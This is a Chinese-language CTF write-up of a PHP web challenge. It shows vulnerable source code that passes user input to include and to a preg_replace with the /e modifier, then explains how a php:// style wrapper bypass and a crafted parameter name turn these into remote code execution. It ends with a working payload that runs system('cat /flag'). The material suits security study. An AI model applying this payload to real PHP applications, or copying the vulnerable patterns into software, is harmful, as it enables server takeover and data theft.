第一部分:

    1. <?php
    2. error_reporting(0);
    3. $text = $_GET["text"];
    4. $file = $_GET["file"];
    5. if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    6. echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    7. if(preg_match("/flag/",$file)){
    8. die("Not now!");
    9. }
    10. include($file); //next.php
    11. }
    12. else{
    13. highlight_file(__FILE__);
    14. }
    15. ?>

    利用伪协议轻松绕过,读取next.php的内容:

    1. <?php
    2. $id = $_GET['id'];
    3. $_SESSION['id'] = $id;
    4. function complex($re, $str) {
    5. return preg_replace(
    6. '/(' . $re . ')/ei',
    7. 'strtolower("\\1")',
    8. $str
    9. );
    10. }
    11. foreach($_GET as $re => $str) {
    12. echo complex($re, $str). "\n";
    13. }
    14. function getFlag(){
    15. @eval($_GET['cmd']);
    16. }

    注意到preg_replace中有/e标志,可以执行任意命令。
    首先$re可以控制,如果请求链接为:/?.*={${phpinfo()}},匹配语句就变成

    1. preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

    就可以匹配任意字符。但是在PHP中对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,所以需要用/S代替。
    strtolower("\\1")中的\\1就相当于\1,而在正则表达式中,\1的意思是指定第一个匹配项。
    payload:

    1. next.php?\S*=${eval($_POST[a])}
    2. post data:
    3. a=system('cat /flag');